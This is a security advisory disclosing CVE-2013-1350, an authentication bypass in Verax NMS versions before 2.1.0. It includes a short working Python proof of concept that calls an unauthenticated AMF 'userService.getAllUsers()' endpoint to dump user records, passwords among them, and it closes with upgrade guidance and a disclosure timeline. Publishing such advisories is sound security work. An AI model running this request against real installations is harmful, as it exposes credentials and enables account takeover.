Verax NMS Authentication Bypass

`Verax NMS Authenication Bypass (CVE-2013-1350)  
  
I. BACKGROUND  
----------------------  
Verax NMS provides a service-oriented, unified  
management & monitoring of networks, applications  
and infrastructure enabling quick problem detection,  
root-cause analysis, reporting and automating recovery,  
reducing costs and shortening downtimes of IT service delivery.  
  
Source: http://www.veraxsystems.com/en/products/nms  
  
II. DESCRIPTION  
----------------------  
Verax NMS suffers from multiple authentication and  
authorization flaws which allow a remote attacker to  
add and delete users, change the passwords of other users,  
and access other critical application data. These issues  
stem from unauthenticated methods, such as userGroupService.getAllGroups(),  
which fail to validate that the user either 1) has ownership or  
access rights to the requested objects/resources and 2) fails to  
confirm whether or not the caller has properly authenticated to the  
application and still maintains a valid session.  
  
The below Python code can be used to test vulnerable installations. If  
successful, the response will contain an array of user objects which  
includes all user details, such as username, password, e-mail address, etc.  
----------------------  
#!/usr/bin/python  
  
#just based on http://www.pyamf.org/tutorials/general/client.html#basic-example  
from pyamf import AMF0, AMF3  
from pyamf.remoting.client import RemotingService  
  
client = RemotingService('http://installationurl/enetworkmanagementsystem-fds/messagebroker/amf',  
amf_version=AMF3)  
service = client.getService('userService')  
  
print service.getAllUsers()  
----------------------  
  
III. AFFECTED PRODUCTS  
----------------------  
All versions of Verax NMS prior to 2.1.0 are vulnerable.  
  
IV. RECCOMENDATION  
----------------------  
Users should upgrade to version 2.1.0 of Verax NMS.  
  
V. CREDIT  
----------------------  
This vulnerability was discovered by Andrew Brooks.  
  
VI. REFERENCES  
----------------------  
CVE-2013-1350  
http://download.veraxsystems.com/download/nms-2.1.0-release-notes.txt  
  
VII. TIMELINE  
----------------------  
1/10/2013 - Vendor notified  
1/11/2013 - Vendor acknowledges bug report  
2/20/2013 - Vulnerability remediated and pushed to mainline  
`